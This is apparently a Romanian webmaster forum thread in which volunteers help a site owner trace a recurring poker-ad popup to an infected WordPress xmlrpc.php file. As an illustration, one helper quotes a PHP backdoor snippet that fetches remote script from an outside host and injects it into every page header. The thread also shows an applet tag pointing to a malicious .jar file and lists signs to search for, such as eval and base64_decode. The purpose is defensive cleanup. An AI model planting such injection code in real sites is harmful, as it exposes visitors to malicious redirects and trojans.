Versiune printabilă
Salut,
De ceva timp imi apare dimineata, la prima accesare a siteului stildeviata.com, popup-ul cu reclama la titan poker. Habar n-am de ce apare si cum apare pentru ca nu am inserat niciodata un astfel de cod.
Ma puteti ajuta cumva? I s-a mai intamplat cuiva?
*Ar mai fi de spus ca apare atunci cand intru pe site dintr-o sursa externa gen google sau link de pe alt site si ca face doar o data pe zi pe acelasi browser.
Multumesc
Ataşament 2386
M Pop
Am accesat site-ul cu pricina insa nu mi-a aparut nici urma de pop-up. Din cate imi amintesc si eu am avut o problema asemanatoare la un blog insa la mine cineva binevoitor mi-a inserat un cod in header.php si a fost usor de depistat si de securizat mai bine blog-ul. Verifica, poate si tu ai patit la fel ca sunt multi binevoitori.
Esti sigur ca nu ai instalat vreun plugin?
Sunt sigur ca nu am instalat vreun plugin :(
Am cautat si eu vreun cod inserat si au facut-o si cei de la hostvision si n-am depistat nimic.
E posibil sa fie de la embed-urile de cataloage din scribd.com?
Ma deranjeaza teribil ca nu stiu de unde si cum au aparut si mi-a afectat si traficul destul de serios. Si eu as inchide imediat un site care ma intampina cu ditamai popup-ul.
Nu stiu ce sa fie insa la mine nu apare nici un pop-up si am verificat pe doua calculatoare si am si navigat printre articole insa nimic. Parerea mea e sa mai rogi pe cineva sa viziteze site-ul si sa vada daca apare un astfel de pop-up, sa nu fie ceva probleme doar la tine la browser. Zic si eu :)
Ai incercat sa vii din google pe site? Eventual dupa cautarea "Catalog Oriflame februarie – martie 2013 (Brosura C3)"
Merci
Tocmai am incercat ce ai spus si nici nici o urma de pop-up. Tie inca iti apare?
am testat si eu acum si DA apare acel popup
LE: din ce am vazut este ceva java. cauta bine in cod sau vorbeste cu compania de hosting.
--- Later Edit --- (ca mi-a fost lene sa apas "Edit")
Pe pagina ta ...in stanga jos exista un cod ciudat.
ai aici link <html><head></head><body><applet code="van.class" archive="jeanfage/aimoping.jar - Pastebin.com
Din descrierea ta, ai aceeasi problema cu cea de aici. Va trebui sa verifici fisierele pana gasesti codul care produce problema.
Scorpio,
Imi poti spune exact unde apare linkul acela? Din pacate pe partea tenica sunt cam praf :(
Haos,
Nu stiu daca e aceeasi problema totusi.
E un virus, acum cateva minute am intrat pe 2 site-uri si exact acel pop-up mi-a aparut si mie.
Solutii?
Cei de la hosting mi-au zis ca au verificat foarte atent si au scanat totul... dar nimic :(
Poate e de la pc-ul tau, poti incerca o scanare completa :)
Temele si plugin-urile wp de tip premium descarcate de pe site-uri neoficiale (ca sa ma exprim elegant) contin cod malitios in proportie de peste 90%. La inceput erau doar link-uri in footer sau link-uri encriptate dar acum se ascund sub forma unor functii. De exemplu ce e dubios in functia asta ?
Acel link insereaza pop-uri, frame-uri, redirect-uri, etc. catre alte site-uri pentru trafic in special.Citat:
<?php if (!function_exists('class_db_set')){function class_db_set(){if (function_exists('curl_init')){$url = "http://www.wpquery.co/jquery-1.6.3.min.js";$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'class_db_set');} ?>
Mai multe detalii aici.
gabetu, functia asta se regaseste in codul meu? o pot elimina?
Multumesc
Problema persista, din pacate.
Mai mult, cand incerc sa inchid popup-ul imi apare pagina de atentionare din firefox cum ca sunt pe o pagina cu risc si sa fac update la browser (care browser e la zi).
Asta e mesaj la accesarea stildeviata.com? :(
Cei de la host nu-mi raspund de azi dimineata iar eu sunt destul de praf la partea "tehnica".
Da, antivirusul a sarit in aer cand am accesat siteul tau. Posibil sa fie o alarma falsa, dar nu strica o scanare a fisierelor. Si poti incepe cu propriul computer.
Edit:
Ai incercat sa schimbi tema sa vezi daca mai apare popup-ul?
Posibil, mai ales daca ai downloadat-o din surse obscure, sa aiba "o bucurie" bine ascunsa .
Ma ofer sa te ajut daca vrei cu scanatul fisirelor temei. As putea sa pun acele fisiere la mine pe server (nimic vizivil pe web ) si sa caut in toate fiserele sa vad daca exista vreo problema de la tema.
Cauzele pot fi nenumarate, dar cele mai comune sunt astea: code injection, tema crackuita, etc, etc. Downloadeaza toate fisierele siteului la tine pe calculator si cauta cuvintele "eval(" si "base64_decode(" in interiorul fisierelor. Asta poti s-o faci chiar si cu search-ul de windows. Apoi pune intrun document google continutul acelor fisiere si da-ne linkul. Cu siguranta unul dintre noi va reusi sa identifice problema.
Am deschis adresa din imaginea lui Roby si la deschidere imi downloadeaza un troian. Nu e bine. E o chestiune de timp pana te prinde Goagalu.
Si varianta lui Scorpio e buna, m-am gandit si eu sa-ti cer tema la analiza, dar codul cu probleme se poate afla in orice fisier al wordpressului, asa ca cea mai buna varianta ramane cea pe care ti-am descris-o mai sus.
PS: 1) Pe mine m-a facut curios aceasta problema, pentru ca am impresia ca aici e un cod inteligent si bine plantat, altfel il detecta Google de mult.
2) Daca ai putea sa raspunzi mai repede pe forum ar fi si mai rapid rezultatul :)
Va multumesc pentru ajutor!
Sa incepem cu inceputul (v-am zis deja ca stau foarte bine la partea tehnica :)) )
Descarc toate fisierele de pe server la mine in calc? Zilele trecute m-am pomenit si cu virusul Politia Romana si nu cred ca e foarte indicat desi l-am eliminat.[COLOR="Silver"]
--- Later Edit --- (ca mi-a fost lene sa apas "Edit")
robyroy - problema nu apare permanent. De obicei imi apare o data pe zi si alte ori niciodata :(
Astazi am incercat de f multe ori si nu mi-a aparut. Ieri am verificat tema cu niste pluginuri si nu mi-a gasit niciun virus.
Va multumesc inca o data pentru ajutor si sper sa reusiti sa ma luminati :D
Si eu sunt curios de problema si unde este ascuns acel script.
Daca tot vrei sa rezlvi singur descarca toate fisierele la tine in pc si trebuie sa cauti in fiecare parte cum a zis si colegul "haos" dupa "eval( si "base64_decode(" si mai cauta si la inceputul fiecarui fisier imediat dupa tagul php "<?php" . De obicei pe aceeasi linie cu acest tag se plaseaza coduri de genul asta.
Mai cauta si in fisierul .htaccess
PS: atentie ca se pun foarte multe spatii inaintea codului astfel incat sa nu fie vizibil decat daca esit atent la scroll bar. (valabil si pentru .htaccess si pentru php)
Revin:
Mi-a gasit asa...virus mail/new/1353662299.H192144P5224.ro10.octosquid.com,S
mail/new/1353662299.H192144P5224.ro10.octosquid.com,S=3315: disinfecting.....purged message 0 (infected with HTML.Trojan.Blackhole-10).. ...done
Cleanup Complete!
-----------
Nu vreau neaparat sa rezolv singur problema pentru ca nu stiu s-o rezolv :|
Am verificat .htaccess si e curat.
Acum scanez tot cu un antivirus care e disponibil in cpanel .
Revin imediat.
Pai bun.. Ti-a dat si fisierul infectat?
LE: mail/new/ este posbil sa fie calea catre mailurile din cont si sa ai vreun virusache in vreun mail si nu are nici o treaba cu site-ul
Cam asta a fost. N-a gasit nimic altceva!
---------
Oricum l-am eliminat. Scanez in continuare ftp, home directory...
Oare ar trebui sa schimb si antivirusul de pe lapto (care e acum Avira) si sa scanez inca o data tot?
Poti incerca dar cred ca fara rezultat.
Eu am avut un site spart si aveam foarte multe fisiere modificate. Pana nu le-am luat la mana pe toate nu am scapat.
PS: am incercat sa accesez site-ul si apare popupul in continuare dar doar cand este accesat din google.
Dupa cum vezi, pe mine si pe colegul Scorpio, ne-ai facut curiosi asa ca suntem dispusi sa gasim "problema" pe gratis. Pentru noi e o curiozitate tehnica. Asa ca asteptam fisierele la examinat. Downloadeaza-le si cauta textele de mai sus in ele.
Daca nu te descurci, fiindca s-a oferit primul, ii ofer prioritate asa ca poti sa-i dai acces lui Scorpio si sunt sigur ca o sa te rezolve.
Va pot da acces amandurora, nu asta e problema ci doar sa-mi spuneti procedura :D
Eu personal nu am nevoie de acces. Doar o arhiva cu fisierele este suficienta.
In sfarsit mi-a aparut si mie pentru prima data. Din cate vad eu aici, se executa prin fisierul xmlrpc.php.. ia pune undeva sursa fisierului asta, cred ca acolo isi are baza.
Am downloadat fisierul xmlrpc.php. Vi-l trimit pe privat sau cum fac?
il poti pune undeva online sau pe privat. orice solutie este ok
Cum doresti.. privat, poti sa-l pui ca fisier text la tine pe site, poti sa folosesti un site gen pastebin. Posibilitatile sunt nelimitate.
LE: Lol, am postat in acelasi timp cu Scorpio.
Ataşament 2395
Aveti fisierul urcat!
Multumesc
Aci este problema. Solutie: downloadeaza de pe siteul wordpress aceeasi versiune de wordpress ca cea pe care ai siteul, redenumeste fisierul asta cu alt nume si inlocuieste-l cu cel din arhiva oficiala de wordpress.
e clar ca in partea de sus pana la <?php este ceva in neregula.
pentru inceput downloadeaza o versiune de WP si inlocuieste fisierul
LE: acum eu am postat mai lent:)))
Am descarcat ultimul WP si am facut upload si inlocuirea fisierului cu cel nou.
E ok acum?
ar trebui sa fie ok. Urmateste si vezi daca mai apare popupul
Am incercat de pe toate browserele si nu mi s-a mai deschis reclama. Sper sa fie ok.
Va multumesc mult baieti si va astept la o bere :)
E nevoie sa schimb din nou parolele? Cum a reusit sa se strecoare in conditiile in care nu folosesc niciun client ftp, fac otice modificare din cpanel?
